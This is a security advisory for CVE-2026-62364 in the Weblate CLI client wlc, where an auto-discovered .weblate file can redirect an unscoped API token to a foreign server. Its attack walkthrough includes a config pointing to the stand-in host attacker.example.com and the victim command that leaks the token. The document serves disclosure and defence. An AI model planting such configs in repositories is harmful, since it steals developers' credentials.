CVE-2026-62364: 
Python 취약성 분석 및 완화

CVE-2026-62364 is an API token disclosure vulnerability in wlc, the Weblate command-line client for interacting with Weblate's REST API. When wlc automatically discovers project configuration from .weblate, .weblate.ini, or weblate.ini files in the current or ancestor directory, it may send an unscoped API token (supplied via WLC_KEY or --key) to an attacker-controlled URL defined in that configuration — rather than the user's intended Weblate instance. All versions of wlc prior to 2.0.1 are affected. The vulnerability was disclosed on June 26, 2026, and assigned a CVSS v3.1 base score of 2.3 (Low) (GitHub Advisory).

The root cause is classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) and CWE-349 (Acceptance of Extraneous Untrusted Data With Trusted Data). When wlc resolves its API URL through automatic directory-tree discovery rather than an explicit user-supplied value, it fails to validate that the discovered URL is trustworthy before attaching the user's unscoped API key to outbound requests. An attacker who controls a repository or directory that a victim checks out can place a malicious .weblate configuration file specifying an attacker-controlled API URL; if the victim then runs wlc with WLC_KEY or --key (without a matching WLC_URL or --url), the token is transmitted to the attacker's server. URL-scoped keys defined in the [keys] configuration section are not affected because they are already bound to a specific URL (GitHub Advisory, Fix PR).

Successful exploitation results in the disclosure of the victim's Weblate API token to an attacker-controlled server, compromising confidentiality of the credential. With a stolen API token, an attacker could authenticate to the victim's legitimate Weblate instance and perform any actions permitted by that token, such as modifying translation projects, accessing private translation data, or further pivoting within the Weblate environment. There is no direct integrity or availability impact from the vulnerability itself, and exploitation is constrained to scenarios where the victim runs wlc inside an untrusted repository or directory (GitHub Advisory).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported. The vulnerability was independently reported to the Weblate project via HackerOne by researchers identified as type5afe and visionx7. Exploitation requires high privileges (the victim must possess a valid API token), local access conditions (the attacker must control a directory or repository the victim operates in), and user interaction (the victim must run wlc in the malicious directory). The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog (GitHub Advisory).

1. Prepare malicious repository: The attacker creates or compromises a repository and adds a .weblate configuration file containing an attacker-controlled API URL, e.g.:

[weblate]
url = https://attacker.example.com/api/

2. Induce victim to check out the repository: The attacker submits a pull request, shares the repository, or otherwise causes the victim to check out or cd into the malicious directory.
3. Victim runs wlc with an unscoped key: The victim executes a wlc command using WLC_KEY or --key without specifying WLC_URL or --url, e.g.:

WLC_KEY=<victim_token> wlc list-projects

4. Token transmitted to attacker: wlc discovers the .weblate configuration, resolves the API URL to the attacker's server, and sends an authenticated HTTP request including the victim's API token in the Authorization header to https://attacker.example.com/api/.
5. Attacker captures and reuses token: The attacker's server logs the incoming request and extracts the API token, which can then be used to authenticate against the victim's real Weblate instance (GitHub Advisory, Fix PR).

• Network: Outbound HTTP requests from a developer workstation or CI runner to unexpected or unknown API endpoints (non-Weblate domains) containing an Authorization header with a Weblate API token.
• Logs: CI/CD pipeline logs showing wlc commands executed inside a checked-out pull request directory where WLC_KEY is set as a secret, with API calls directed to URLs not matching the organization's Weblate instance.
• File System: Presence of a .weblate, .weblate.ini, or weblate.ini file in a repository root or ancestor directory containing an unexpected or external url value under the [weblate] section.
• Process: wlc process making network connections to domains other than the organization's configured Weblate host when WLC_KEY or --key is in use.

Upgrade wlc to version 2.0.1 or later, which rejects unscoped keys when the API URL originates from automatically discovered project configuration — WLC_KEY now requires WLC_URL, and --key now requires --url (wlc Release 2.0.1). As a workaround without upgrading, always explicitly pin the API URL when using an unscoped key:

WLC_URL=https://hosted.weblate.org/api/ WLC_KEY=<token> wlc ...
# or
wlc --url https://hosted.weblate.org/api/ --key <token> ...

Alternatively, use URL-scoped keys in the [keys] configuration section instead of WLC_KEY/--key, and avoid running wlc with secrets in untrusted repository checkouts (GitHub Advisory).